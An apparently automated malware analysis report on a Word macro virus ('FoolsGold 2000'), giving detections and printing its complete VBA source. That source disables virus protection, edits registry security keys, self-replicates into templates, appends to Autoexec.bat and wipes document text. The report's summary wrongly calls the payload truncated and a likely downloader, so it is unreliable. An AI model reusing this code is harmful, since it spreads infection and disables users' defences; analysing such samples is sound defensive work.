Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7f551b20cdf91110…

MALICIOUS

Office (OLE)

30.5 KB Created: 2000-05-17 22:09:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: 8f63792d2cce576091830fb380648da3 SHA-1: 3d30af34aa8c5bf0cc4eab808b44ec36a5e037b4 SHA-256: 7f551b20cdf9111056387ae8c032aef62769c384d5810a205b245ba634a8774e
248 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

This legacy Word document contains a WordBasic macro virus, identified by multiple heuristics and ClamAV detections. The AutoOpen macro attempts to infect other documents by exporting and importing VBA components, and it also attempts to modify registry keys related to Word security and system ownership. The script also contains a call to a 'Payload' subroutine which is truncated but likely intended to download or execute further malicious code.

Heuristics 5

  • ClamAV: Win.Trojan.Psycho-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Psycho-3
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
        Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3182 bytes
SHA-256: b93a62f80a25c773f0e1f0f796fd348003b58427d6a562a67c0e7c0e90aa7ddd
Detection
ClamAV: Doc.Trojan.Fool-3
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Fool"

Sub AutoOpen()
    'FoolsGold 2000 Virus V2.00
    'The WaLRuS 04/00
    On Error Resume Next
    Options.ConfirmConversions = False
    Options.VirusProtection = False
    Options.SaveNormalPrompt = False
    CommandBars("Macro").Controls("Security...").Enabled = False
    System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
    ActiveDocument.ReadOnlyRecommended = False
    If (Second(Now()) > 50) Then System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion", "RegisteredOwner") = "The WaLRuS"
    If Day(Now) = 31 Then Call Payload
    Set Norm = NormalTemplate.VBProject.VBComponents
    Set Doc = ActiveDocument.VBProject.VBComponents
If Norm.Item("Fool").Name <> "Fool" Then
    Doc("Fool").Export "c:\Fool.drv"
    Set infect = NormalTemplate.VBProject
ElseIf Doc.Item("Fool").Name <> "Fool" Then
    Norm("Fool").Export "c:\Fool.drv"
    Set infect = ActiveDocument.VBProject
End If
infect.VBComponents.Import ("c:\Fool.drv")
Kill ("c:\Fool.drv")
ActiveDocument.Save
End Sub

Sub HelpAbout()
    On Error Resume Next
    Call Payload
End Sub

Sub Payload()
    On Error Resume Next
    MsgBox "FoolsGold 2000 by The WaLRuS", vbInformation
    Assistant.Visible = True
    With Assistant.NewBalloon
    .Icon = msoIconAlert
    .Text = "FoolsGold 2000 Thanks You!"
    .Heading = "GREETINGS"
    .Show
    End With
    SetAttr "C:\Autoexec.bat", 0
    Open "C:\Autoexec.bat" For Append As #1
    Print #1, "CLS"
    Print #1, "ECHO                ÖÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ·"
    Print #1, "ECHO                º  *****************************************  º"
    Print #1, "ECHO                º  *  FoolsGold 2000 Virus by The WaLRuS   *  º"
    Print #1, "ECHO                º  *****************************************  º"
    Print #1, "ECHO                º  The Fools Gold Virus wishes to thank the   º"
    Print #1, "ECHO                º  user of this computer because you have     º"
    Print #1, "ECHO                º  helped to spread the good words of peace!  º"
    Print #1, "ECHO                º  WaLRuS                                     º"
    Print #1, "ECHO                ÓÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĽ"
    Close #1
Finish:
End Sub

Sub ToolsMacro()
    On Error Resume Next
    Call Stealthy
End Sub

Sub FileTemplates()
    On Error Resume Next
    Call Stealthy
End Sub

Sub ViewVBCode()
    On Error Resume Next
    Call Stealthy
End Sub

Sub Stealthy()
    On Error Resume Next
    Selection.WholeStory
    Selection.Delete Unit:=wdCharacter, Count:=1
    ActiveDocument.Save
    Call Payload
End Sub

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